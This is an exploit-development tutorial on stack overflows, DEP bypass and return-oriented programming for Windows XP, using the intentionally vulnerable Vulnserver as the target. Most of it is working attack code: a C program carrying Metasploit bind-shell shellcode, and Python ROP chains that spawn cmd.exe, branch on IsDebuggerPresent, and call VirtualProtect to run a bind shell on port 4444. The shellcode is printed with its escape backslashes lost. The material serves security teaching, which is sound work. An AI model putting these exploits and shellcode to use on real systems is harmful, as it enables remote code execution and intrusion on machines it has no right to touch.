Hacking

Return Oriented Programming (ROP) attacks

D12d0x34X
February 10, 2019 by
D12d0x34X

According to Wikipedia, "Return-oriented programming (also called "chunk-borrowing à la Krahmer") is a computer security exploit technique in which the attacker uses control of the call stack to indirectly execute cherry-picked machine instructions or groups of machine instructions immediately prior to the return instruction in subroutines within the existing program code, in a way similar to the execution of a threaded code interpreter.

"Because all the instructions that are executed are from executable memory areas within the original program, this avoids the need for direct code injection, and circumvents most measures that try to prevent the execution of instructions from user-controlled memory."

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Let start with an introduction to stack buffer overflows.

Basic System Set

1: Windows XP SP2 installed on a machine supporting H/W enabled DEP.

2: Immunity Debugger and Metasploit.

3: TCC compiler or lcc-win compiler.

4: Latest Python installer.

5: Vulnserver(http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html ) by Stephen Bradshaw.

    6: Some patience.

Stack buffer overflows

There is a memory region called a "stack". The stack region of the memory is used to temporarily store data related to the current thread or function, for example the local function and stack parameter of the function. Certain processor registers keep track of the stack location i.e stack top and stack base.

These are nothing but memory addresses which determine the address of the stack frame. Two processor registers ESP and EBP are used to track the record of memory address. ESP stand for top stack pointer and EBP for base pointer.

This is the typical stack layout in the x86 processor. One thing to notice here is that the stack grows from top to bottom, i.e ESP will always be less or equal to EBP. The stack contains local function variables and a special value called a return address, to which the control flow is returned when a function exits. If that particular value on the stack gets overwritten by any means, we can divert the control flow to our shell code that we injected though data input into the program. For example, consider the following C Code:

int VulnFunction(char *p)

{

    char buf[40];

    strcpy(buf, p);

    return 0;

}

An equivalent disassembly of the VulnFunction code would be:

VulnFunction:

    PUSH EBP

    MOV EBP,ESP

    SUB ESP, 28 ; RESERVER 40 BYTES ON STACK FOR

 

    PUSH [EBP + 28]; address of buf

    CALL strcpy ; vulnerable function

    ADD ESP, 4 ; STACK CLEAREANCE

    ADD ESP, 28; REMOVER BUF FROM

STACK

    POP EBP ; RESTORE OLD EBP

    RET ; POP VALUE FROM STACK AND RETURN TO THAT ADDRESSS

Now if more than 44 bytes are provided to the function, we will be able to overwrite the return address stored on that stack, which is used to control the return of that function code.

Why 44? You may wonder why more than 44 bytes are required to overwrite the return address when the buffer is only 40 bytes. It's because at the function entry sequence, the EBP (4 bytes) is pushed on to the stack and recovered at the function exit sequence.

Let's now experiment by passing 48 bytes to the program "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb" and see what happens. In the picture you can clearly see that the EIP gets overwritten by the last 4 bytes, ie "bbbb" (hex 62), and the program crashes suddenly after RET instruction is executed.

In conventional attack scenarios we would attack the program by passing junk(44 bytes) + ESP + shellcode. But the problem with that is the address of the ESP always contains some zero bytes e.g. 0012ff4c, strcpy would stop if a null is encountered and will result in incomplete copying of our shell code. We will supply the return address of a special instruction called a trampoline JMP ESP to make it jump to our shell code located on the stack. In the context of our program we will use a trampoline located in ntdll at:

7C941EED JMP ESP

So now the attack buffer would be something like this:junk(44 bytes) + JMP_ESP + shellcode

We will supply it a TCP bind Shell code generated with from metasploit

/* C program to exploit VulnFunction */

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#define JMP_ESP 0x7C941EED // ntdll.dll JMP ESP

// metasploit tcp_bin port 4444

unsigned char buf[] =

"x33xc9x83xe9xaaxe8xffxffxffxffxc0x5ex81x76x0e"

"xd7x6exebx09x83xeexfcxe2xf4x2bx86x62x09xd7x6e"

"x8bx80x32x5fx39x6dx5cx3cxdbx82x85x62x60x5bxc3"

"xe5x99x21xd8xd9xa1x2fxe6x91xdaxc9x7bx52x8ax75"

"xd5x42xcbxc8x18x63xeaxcex35x9exb9x5ex5cx3cxfb"

"x82x95x52xeaxd9x5cx2ex93x8cx17x1axa1x08x07x3e"

"x60x41xcfxe5xb3x29xd6xbdx08x35x9exe5xdfx82xd6"

"xb8xdaxf6xe6xaex47xc8x18x63xeaxcexefx8ex9exfd"

"xd4x13x13x32xaax4ax9exebx8fxe5xb3x2dxd6xbdx8d"

"x82xdbx25x60x51xcbx6fx38x82xd3xe5xeaxd9x5ex2a"

"xcfx2dx8cx35x8ax50x8dx3fx14xe9x8fx31xb1x82xc5"

"x85x6dx54xbfx5dxd9x09xd7x06x9cx7axe5x31xbfx61"

"x9bx19xcdx0ex28xbbx53x99xd6x6exebx20x13x3axbb"

"x61xfexeex80x09x28xbbxbbx59x87x3exabx59x97x3e"

"x83xe3xd8xb1x0bxf6x02xe7x2cx38x0cx3dx83x0bxd7"

"x7fxb7x80x31x04xfbx5fx80x06x29xd2xe0x09x14xdc"

"x84x39x83xbex3ex56x14xf6x02x3dxb8x5exbfx1ax07"

"x32x36x91x3ex5ex5exa9x83x7cxb9x23x8axf6x02x06"

"x88x64xb3x6ex62xeax80x39xbcx38x21x04xf9x50x81"

"x8cx16x6fx10x2axcfx35xd6x6fx66x4dxf3x7ex2dx09"

"x93x3axbbx5fx81x38xadx5fx99x38xbdx5ax81x06x92"

"xc5xe8xe8x14xdcx5ex8exa5x5fx91x91xdbx61xdfxe9"

"xf6x69x28xbbx50xf9x62xccxbdx61x71xfbx56x94x28"

"xbbxd7x0fxabx64x6bxf2x37x1bxeexb2x90x7dx99x66"

"xbdx6exb8xf6x02x6exebx09";

char *p = NULL;

char *Parg = NULL;

int VulnFunction(char *p)

{

char buf[40];

strcpy(buf, p);

return 0;

}

int main(int argc, char **argv)

{

char a[900]; // junk to compensate stack

char *base = NULL;

p = (int*) malloc( sizeof(buf) + 48);

base = p;

if (p == NULL ) exit(EXIT_FAILURE);

memset(p, 0x44, 44); // Set 44 Bytes Junk

p = p + 44;

*(int*)p = JMP_ESP;

p = base;

memcpy((p + 48), buf, sizeof(buf));

VulnFunction(p);

return 0;

}

After executing we will get a shell at 4444 TCP port.DEP (Data Execution Prevention)

DEP is a technique that was introduced to Windows XP SP2 to protect against buffer overflow attacks. DEP simply restricts the execution memory marked as read/write. Since the stack has been marked with read/write attributes, DEP restricts the execution of our shell code which we place on the stack.

Ret2lib (Return To Library) AttackRather than injecting the shellcode and jumping to it, we can call a certain sub-routine in the address space of the executable. For example, we can fake the stack frame to call the system() C standard library function in msvcrt.dll to execute an arbitrary command and we can even chain multiple functions together. That way we can bypass DEP by reusing code from the program binary. But one of the main disadvantage of ret2lib is that it lacks in arbitrary computation (truing completeness).

ROP (Return Oriented Proragmming ) attack

This type of attack was introduced by Hovav Shacham of Stanford University in his paper "The Geometry of Innocent Flesh on the Bone:Return-into-libc without Function Calls (on the x86)." In the paper he describes "new return-into-libc techniques that allow arbitrary computation (and that are not, therefore, straight-line limited) and that do not require calling any functions whatsoever".

That means this type of attack is able to perform arbitrary computation without the necessary use of library functions by reusing code chunks which he calls GADGETS. Gadgets are a small group of instructions ending with a x86 RET instruction. For example, mov eax, 10 ; ret is a gadget which allows us to set eax to 10 (decimal). These gadgets can be chained together to make them work as a simple unit to perform arbitray computations. For example, we can chain three gadgets together to perform addition on them:

    pop eax; ret

    pop ebx ret;

    add eax, ebx; ret

The following chain of gadgets allows us to set two processor registers and them perform arithmetic addition on them:

ROP is not limited to only calculations. We can also perform code branching and check for conditions (equal, less and greater ) on the given data.

ROP attacks (loading and storing data)

There are certain gadgets that allows us to store and load data from one place to another. Modes of transfer include:

1: register to register

2: register to memory

3:memory to register

Register to register

The gadgets related to reg to reg copying are:

mov eax, ebx

mov ecx, eax

etc.

Register to memory

A search in Immunity Debugger will yield the following results and even more:

7C828B39 MOV ECX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll

7C828BF9 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll

7C828C2A MOV EDX,DWORD PTR DS:[EAX] C:WINDOWSsystem32kernel32.dll

7C828CC3 MOV ESI,DWORD PTR DS:[EBX] C:WINDOWSsystem32kernel32.dll

7C828D26 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll

7C828D4C MOV EDX,DWORD PTR DS:[EAX] C:WINDOWSsystem32kernel32.dll

7C828D70 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll

7C828DAB MOV EAX,DWORD PTR DS:[EAX] C:WINDOWSsystem32kernel32.dll

7C828DB1 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll

7C828E77 MOV EAX,DWORD PTR DS:[ESI] C:WINDOWSsystem32kernel32.dll

7C8290AC MOV EAX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll

                    

Memory to register

To transfer values from the stack to a register, we have gadgets like pop eax; ret ;pop ebx;ret

This gadget pops a value from the stack and stores it in a processor register.

We also have gadgets like:

7C801118 MOV DWORD PTR DS:[ESI],EAX C:WINDOWSsystem32kernel32.dll

7C80168A MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll

7C8016D9 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll

7C801728 MOV DWORD PTR DS:[EAX],EBX C:WINDOWSsystem32kernel32.dll

7C801761 MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll

7C8017A2 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll

7C801800 MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll

7C801823 MOV DWORD PTR DS:[ECX],EBX C:WINDOWSsystem32kernel32.dll

7C80188E MOV DWORD PTR DS:[ECX],EAX C:WINDOWSsystem32kernel32.dll

7C8018E2 MOV DWORD PTR DS:[EAX],EBX C:WINDOWSsystem32kernel32.dll

7C801957 MOV DWORD PTR DS:[EDX],ECX C:WINDOWSsystem32kernel32.dll

7C801963 MOV DWORD PTR DS:[ESI],EBX C:WINDOWSsystem32kernel32.dll

7C8019CC MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll

7C8019F7 MOV DWORD PTR DS:[EAX],EBX C:WINDOWSsystem32kernel32.dll

7C801F22 MOV DWORD PTR DS:[EDX],EAX C:WINDOWSsystem32kernel32.dll

7C801F30 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll

7C802040 MOV DWORD PTR DS:[EAX],EDI C:WINDOWSsystem32kernel32.dll

7C8021FC MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll

7C8022D8 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll

7C80231F MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll

7C80248B MOV DWORD PTR DS:[ECX],EAX C:WINDOWSsystem32kernel32.dll

7C802497 MOV DWORD PTR DS:[ECX],EAX C:WINDOWSsystem32kernel32.dll

The gadget at 0x7C802497 kernel32.dll MOV DWORD PTR DS:[ECX],EAX; ret, moves the value of EAX to a memory location pointed by ECX.

ROP gadgets (arithmetic operations)

The x86 primitive instructions related to arithmetic are ADD, SUB, MUL, DIV XOR, rotates and shifts etc., and we can search gadgets related to those operations.

Addition:

7C95CE86 ADD ECX,EBP C:WINDOWSsystem32ntdll.dll

7C96CCC0 ADD ECX,EBP C:WINDOWSsystem32ntdll.dll

7C9761FB ADD ECX,ECX C:WINDOWSsystem32ntdll.dll

7C9770F0 ADD EAX,EBP C:WINDOWSsystem32ntdll.dll

7CA29036 ADD ESI,ESI C:WINDOWSsystem32SHELL32.dll

7CA367A6 ADD EAX,EBP C:WINDOWSsystem32SHELL32.dll

7CABF312 ADD EDI,EDI C:WINDOWSsystem32SHELL32.dll

7CAE0091 ADD EAX,EBP C:WINDOWSsystem32SHELL32.dll

7CB8C82F ADD EBX,EBP C:WINDOWSsystem32SHELL32.dll

7CB9196F ADD EAX,EBP C:WINDOWSsystem32SHELL32.dll

7CB9B4EA ADD EBX,EAX C:WINDOWSsystem32SHELL32.dll

7CBA519A ADD EBX,EAX C:WINDOWSsystem32SHELL32.dll

 

 

Similarly, we have subtraction, multiplication and division. E.g.:

7C902AF5 SUB EAX,ECX C:WINDOWSsystem32ntdll.dll

7C902AFF SUB EAX,ECX C:WINDOWSsystem32ntdll.dll

7C902B09 SUB EAX,ECX C:WINDOWSsystem32ntdll.dll

7C902B13 SUB EAX,ECX C:WINDOWSsystem32ntdll.dll

Handling NULL Bytes in a ROP payloadA ROP payload contains addresses or parameters to a system function (in case we are faking the stack frame of particular function). There is a high probability that a certain parameter of a system function or an address of a ROP gadget might contain one or many NULL bytes and they might be categorised as bad chars in the vulnerable function, eg. in case of strcpy, it stops copying the buffer as soon as a NULL (0x00) byte is encountered. If we go on without taking the null byte handling into account, our ROP payload will be incorrectly copied.

Now, let us consider an example here: You have a hypothetical system function as FunctionX which takes two arguments x and y, in which y has to be necessarily 0 or null in order to work.

Void FunctionX(DWORD x, DWORD y)

{

if (y == NULL)

{

.....

.....

.....

}

exit(-1);

}

The stack frame of FunctionX will become like this.

As we can see on the stack frame, it's necessary that we place a null word as the second parameter to FunctionX, so how do we handle null bytes?

There is a well known mathematical axiom:

Let there be two variables A and B,

we know A XOR B = z(say)

now A XOR Z = B also B XOR Z = A

let A = 0x00000000

let B = 0xffffffff;

A XOR B = 0xffffffff (z)

Now if we want to convert it back into A, we XOR it back with B(mask)

Z XOR B = 0x00000000

We will use the XOR gadget combined with Load and Store gadgets to store the value back on the stack.

To demonstrate this technique, we will exploit a buffer overflow in Vulnserver (see http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html by Stephen Bradshaw).

There exists a buffer overflow in the server when processing TRUN messages from the client.

From vulnserver.c:

else if (strncmp(RecvBuf, "TRUN ", 5) == 0) {

                char *TrunBuf = malloc(3000);

                memset(TrunBuf, 0, 3000);

                for (i = 5; i < RecvBufLen; i++) {

                    if ((char)RecvBuf[i] == '.') {

                        strncpy(TrunBuf, RecvBuf, 3000);

                        Function3(TrunBuf);

                        break;

                    }

                }

The server accepts 3000 bytes after the TRUN message and passes it to Function3, where the buffer overflow takes place.

void Function3(char *Input) {

    char Buffer2S[2000];

    strcpy(Buffer2S, Input);

}

Using pattern_create.rb and pattern_offset.rb from Metasploit, we are able to determine that after 2006 bytes the EIP overwrite takes place.

We will try to demonstrate a ROP payload executing WinExec to execute CMD.EXE using exploit code written in Python.

# WinExec ROP exploit for vulnserver

# (C) 2012 Rashid bhatt

import socket, sys

from struct import pack

target = "127.0.0.1"

port = int("9999")

from operator import *

param1 = xor(0x00B6FA60, 0xffffffff) # location of stack parameter

lpCMDline = xor(0x00B6FA68, 0xffffffff) # pointer to string

param2 = xor(0x00B6FA64, 0xffffffff) # location of stack parameter

eip = pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', param1)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', lpCMDline)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

## for nCMDShow , we have to make it zero

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', param2)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C91C91D)    #xor ecx, ecx

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

eip += pack('<L', 0x7C86114D)        # call WinExec

eip += pack('<L', 0x77C39E7E ) # ret to msvcrt_Exit ( function chained )

eip += pack('<L',0xdeadbeef) # first param point to stack ( contains a null byte)

eip += pack('<L',0xdeadbeef ) # second param (zero nCMDShow = 0)

eip += "cmd.exe"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target,port))

s.send("TRUN ." + "a" * 2006 + eip)

s.recv(1000)

s.close()

 

UN-conditional and conditional jumps in ROP attacks

In ROP, the ESP keeps track of the next gadget to be executed, therefore by modifying the ESP we can divert or skip the execution of certain gadgets. The following diagram illustrates an infinite loop.

# Infinite loop ROP payload

# (C) 2012 Rashid Bhatt

import socket, sys

from struct import pack

target = "127.0.0.1"

port = int("9999")

from operator import *

esp_loc = xor(0x00B6FA3C, 0xffffffff) # location of DWORD after pop esp gadget on stack

esp_val = xor(0x00B6FA38, 0xffffffff) # esp value

eip = pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', esp_loc)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', esp_val)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

eip += pack('<L', 0x7C929BAB) # pop esp

eip += pack('<L', 0xdeadbeef)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target,port))

s.send("TRUN ." + "a" * 2006 + eip)

s.recv(1000)

s.close()

Conditional jumps in ROP are quite tricky. We have to modify the ESP based on a certain comparison eg < ,> ,== .

Comparing with zero

We will check if the value is zero or not, and based on the comparison, we will add an offset to the ESP to skip certain gadgets.

wWe need to store two values on the stack:

1: The value to be compared with zero.

2: ESP_DELTA , the value which will be added to the ESP if the condition is satisfied.

The process takes place in the following steps:1: Load the value to be checked in a general purpose register and apply NEG x86 instruction on it.

2: NEG instruction Computes the 2' complement, and sets the CF as per the operand.

3: If the number is zero, the CF becomes zero, otherwise one.

4: Zero any register by xor reg,reg gadget, and use ADC reg,reg to place the CF in it.

5: Again use NEG instruction to compute the 2's complement on the same register. The register would now either contain a single 1 bit or all zeros, based on the CF from the previous operation.

6: 2's complement will transform it to all zeros if CF was 0 or all 1 if CF was 1.

7: Perform Logical AND of ESP_DELTA and the result.

8: Now, based on the CF we will either get ESP_DELTA or zero.

8: Add the result to the ESP.

To demonstrate this technique, we will use the IsDebuggerPresent(void) function to check if the process is being debugged or not, and if not, we will proceed to execute CMD.exe using the earlier ROP payload:

# Conditional ROP payload

# (c) 2012 Rashid Bhatt

import socket, sys

from struct import pack

target = "127.0.0.1"

port = int("9999")

from operator import *

esp_delta_loc = xor(0x00B6FA88 , 0xffffffff) # location of esp_delta on stack

esp_delta_value = xor(0x200, 0xffffffff) # value to be added to stack

param1 = xor(0x00B6FA98, 0xffffffff)

param1_val = xor(0x00, 0xffffffff)

# handling zero bytes for ESP_DELTA

eip = pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', esp_delta_loc)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', esp_delta_value)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

# FOR POP EBX ; EBX = 0 ( unfortunately no gadget was available for xor ebx,ebx)

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', param1)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', param1_val)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

eip += pack('<L', 0x7C812E03) # isdebuggerpresent()

eip += pack('<L', 0x77E2233D)    #xor esi,esi

eip += pack('<L', 0x77D74960) # NEG eax

eip += pack('<L', 0x71A77D0B) # adc esi,esi

eip += pack('<L', 0x77C39F8F) # mov eax,esi (with side effects of popping a value from stack)

eip += pack('<L', 0xdeadbeef) # junk

eip += pack('<L', 0x77D74960)    #neg eax

eip += pack('<L', 0x7C90ECEA) # pop edi

eip += pack('<L', 0xbadb00b) # ESP_DELTA fixed earlier

eip += pack('<L', 0x77C13FFD)    # XCHG EAX, ECX

eip += pack('<L', 0x77C14518 ) # AND EDI,ECX

eip += pack('<L', 0x7C9742C9 ) # pop ebx

eip += pack('<L', 0xbadb00b) # ZERO fixed earlier

eip += pack('<L', 0x77E0C1EE) # xchg eax, edi

eip += pack('<L', 0x7C939D54) # ADD EBX,EAX

eip += pack('<L', 0x7C939C04) # ADD ESP, EBX

# ============================== #

param1 = xor(0x00B6FB00, 0xffffffff) # location of stack parameter

lpCMDline = xor(0x00B6FB08, 0xffffffff) # pointer to string

param2 = xor(0x00B6FB04, 0xffffffff) # location of stack parameter

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', param1)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', lpCMDline)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

## for nCMDShow , we have to make it zero

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', param2)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C91C91D)    #xor ecx, ecx

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

eip += pack('<L', 0x7C86114D)        # call WinExec

eip += pack('<L', 0x77C39E7E ) # ret to msvcrt_Exit ( function chained )

eip += pack('<L',0xdeadbeef) # first param point to stack ( contains a null byte)

eip += pack('<L',0xdeadbeef ) # second param (zero nCMDShow = 0)

eip += "cmd.exe"

# ========================================= #

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target,port))

s.send("TRUN ." + "a" * 2006 + eip)

s.recv(1000)

s.close()

Now, if we run the exploit without debugging the process, we will proceed to the execution of CMD.exe, but if the server is being debugged, the process will crash because that time the ROP payload for CMD.EXE will be skipped. We can verify this by debugging the server and then setting a break point at 7C939C04 ADD ESP, EBX gadget.Hit the Breakpoint at 7C939C04:

7C939C04 01DC ADD ESP,EBX ; offset being added to esp

7C939C06 05 9CEE977C ADD EAX,ntdll.7C97EE9C

7C939C0B C3 RETN

EAX FFFFFFFF

ECX FFFFFFFF

EDX 00657865

EBX 00000200 << 200 (hex) offset added when process in being debugged

ESP 00B6FAA8

EBP 61616161

ESI DEADBEEF

EDI 00000000

EIP 7C939C04 ntdll.7C939C04

Comparing two values

A similar strategy is used to check if two values are equal to, less than, or greater than each other.

A SUB instruction will subtract two values to be checked for equality; the SUB instruction sets the CF if the destination operand is greater. The CF would get updated if the values are not same, and then later apply the same logic of checking for zero.

Putting it all together

We will now write a ROP exploit for Vulnserver to bind it to port 4444 TCP. To achieve that we will remark the stack memory with an executable permission using VirtualProtect Function and then we will jump to our shellcode located on the stack.

# (c) 2012 Rashid Bhatt

import socket, sys

from struct import pack

# tcp/ip bind 444 shellcode

buf = "x2bxc9x83xe9xb5xe8xffxffxffxffxc0x5ex81x76x0ex25xabx3axc9x83xeexfcxe2xf4xd9x43xb3xc9x25xabx5ax40xc0x9axe8xadxaexf9x0ax42x77xa7xb1x9bx31x20x48xe1x2ax1cx70xefx14x54x0bx09x89x97x5bxb5x27x87x1ax08xeaxa6x3bx0exc7x5bx68x9exaexf9x2ax42x67x97x3bx19xaexebx42x4cxe5xdfx70xc8xf5xfbxb1x81x3dx20x62xe9x24x78xd9xf5x6cx20x0ex42x24x7dx0bx36x14x6bx96x08xeaxa6x3bx0ex1dx4bx4fx3dx26xd6xc2xf2x58x8fx4fx2bx7dx20x62xedx24x78x5cx42x29xe0xb1x91x39xaaxe9x42x21x20x3bx19xacxefx1exedx7exf0x5bx90x7fxfaxc5x29x7dxf4x60x42x37x40xbcx94x4dx98x08xc9x25xc3x4dxbax17xf4x6exa1x69xdcx1cxcexdax7ex82x59x24xabx3axe0xe1xffx6axa1x0cx2bx51xc9xdax7ex6ax99x75xfbx7ax99x65xfbx52x23x2ax74xdax36xf0x3cx0bx12x76xc3x38xc9x34xf7xb3x2fx4fxbbx6cx9ex4dx69xe1xfex42x54xefx9ax72xc3x8dx20x1dx54xc5x1cx76xf8x6dxa1x51x47x01x28xdax7ex6dx5ex4dxdex54x84x44x54xefxa3x25xc1x3ex9fx72xc3x38x10xedxf4xc5x1cxaex9dx50x89x4dxabx2axc9x25xfdx50xc9x4dxf3x9ex9axc0x54xefx5ax76xc1x3ax9fx76xfcx52xcbxfcx63x65x36xf0xaaxf9xe0xe3x2exccxbcxc9x68x3axc9"

target = "127.0.0.1"

port = int("9999")

from operator import *

address_loc = xor(0x00B6FAD0 , 0xffffffff)

address_val = xor(0x00B6FAE0, 0xffffffff)

size_loc = xor(0x00B6FAD4, 0xffffffff)

size = xor(len(buf), 0xffffffff)

nprotect_loc = xor(0x00B6FAD8, 0xffffffff)

nprotect = xor(0x40, 0xffffffff)

oldprotect_loc = xor(0x00B6FADC, 0xffffffff)

oldprotect = xor(0x00B6FAB4, 0xffffffff)

# first param

eip = pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', address_loc)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', address_val)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

# second param

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', size_loc)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', size)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

# Third param

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', nprotect_loc)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', nprotect)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

# fourth param

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', oldprotect_loc)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x77C14001) # xchg eax, ecx

eip += pack('<L', 0x7C9029AC) # pop edi

eip += pack('<L', 0xffffffff)

eip += pack('<L', 0x7C971980)    #pop ecx

eip += pack('<L', oldprotect)

eip += pack('<L', 0x71AB100C)    #xor ecx, edi

eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

eip += pack('<L', 0x7C801AD0 ) # VirtualProtect

eip += pack('<L', 0x7C941EED) # JMP ESP

eip += pack('<L', 0xdeadbeef) #1

eip += pack('<L', 0xdeadbeef) #2

eip += pack('<L', 0xdeadbeef) #3

eip += pack('<L', 0xdeadbeef) #4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target,port))

s.send("TRUN ." + "a" * 2006 + eip + buf)

s.recv(1000)

s.close()

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

D12d0x34X
D12d0x34X

Rashid Bhat is an Independent Security Researcher as well as a contributor to InfoSec Institute. His areas of expertise include exploitation, malware analysis and reverse engineering. Twitter: http://twitter.com/raashidbhatt